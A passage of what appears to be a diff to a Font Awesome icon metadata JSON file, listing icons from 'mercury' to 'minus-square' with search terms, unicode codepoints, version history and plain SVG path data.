0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z" + } + }, + "free": [ + "solid" + ] + }, + "mercury": { + "changes": [ + "4.3", + "5.0.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "transgender" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f223", + "label": "Mercury", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635595, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 288 512\"><path d=\"M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z\"/></svg>", + "viewBox": [ + "0", + "0", + "288", + "512" + ], + "width": 288, + "height": 512, + "path": "M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z" + } + }, + "free": [ + "solid" + ] + }, + "meteor": { + "changes": [ + "5.5.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "armageddon", + "asteroid", + "comet", + "shooting star", + "space" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f753", + "label": "Meteor", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635596, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z" + } + }, + "free": [ + "solid" + ] + }, + "microblog": { + "changes": [ + "5.12.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e01a", + "label": "Micro.blog", + "voted": true, + "svg": { + "brands": { + "last_modified": 1573074807768, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M399.36,362.23c29.49-34.69,47.1-78.34,47.1-125.79C446.46,123.49,346.86,32,224,32S1.54,123.49,1.54,236.44,101.14,440.87,224,440.87a239.28,239.28,0,0,0,79.44-13.44,7.18,7.18,0,0,1,8.12,2.56c18.58,25.09,47.61,42.74,79.89,49.92a4.42,4.42,0,0,0,5.22-3.43,4.37,4.37,0,0,0-.85-3.62,87,87,0,0,1,3.69-110.69ZM329.52,212.4l-57.3,43.49L293,324.75a6.5,6.5,0,0,1-9.94,7.22L224,290.92,164.94,332a6.51,6.51,0,0,1-9.95-7.22l20.79-68.86-57.3-43.49a6.5,6.5,0,0,1,3.8-11.68l71.88-1.51,23.66-67.92a6.5,6.5,0,0,1,12.28,0l23.66,67.92,71.88,1.51a6.5,6.5,0,0,1,3.88,11.68Z" + } + }, + "free": [ + "brands" + ] + }, + "microchip": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cpu", + "hardware", + "processor", + "technology" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2db", + "label": "Microchip", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635596, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z" + } + }, + "free": [ + "solid" + ] + }, + "microphone": { + "changes": [ + "3.1", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "podcast", + "record", + "sing", + "sound", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f130", + "label": "microphone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635598, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "microphone-alt": { + "changes": [ + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "podcast", + "record", + "sing", + "sound", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3c9", + "label": "Alternate Microphone", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635597, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 352 512\"><path d=\"M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z\"/></svg>", + "viewBox": [ + "0", + "0", + "352", + "512" + ], + "width": 352, + "height": 512, + "path": "M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z" + } + }, + "free": [ + "solid" + ] + }, + "microphone-alt-slash": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "disable", + "mute", + "podcast", + "record", + "sing", + "sound", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f539", + "label": "Alternate Microphone Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635597, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "microphone-slash": { + "changes": [ + "3.1", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "audio", + "disable", + "mute", + "podcast", + "record", + "sing", + "sound", + "voice" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f131", + "label": "Microphone Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635597, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "microscope": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "electron", + "lens", + "optics", + "science", + "shrink" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f610", + "label": "Microscope", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635598, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z" + } + }, + "free": [ + "solid" + ] + }, + "microsoft": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ca", + "label": "Microsoft", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861006, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M0 32h214.6v214.6H0V32zm233.4 0H448v214.6H233.4V32zM0 265.4h214.6V480H0V265.4zm233.4 0H448V480H233.4V265.4z" + } + }, + "free": [ + "brands" + ] + }, + "minus": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "collapse", + "delete", + "hide", + "minify", + "negative", + "remove", + "trash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f068", + "label": "minus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635600, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "minus-circle": { + "changes": [ + "1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "delete", + "hide", + "negative", + "remove", + "shape", + "trash" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f056", + "label": "Minus Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635599, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z" + } + }, + "free": [ + "solid" + ] + }, + "minus-square": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "collapse", + "delete", + "hide", + "minify", + "negative", + "remove", + "shape", + "trash" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f146", + "label": "Minus Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635600, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z" + }, + "regular": { + "last_modified": 1628088634912, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M108 284c-6.6 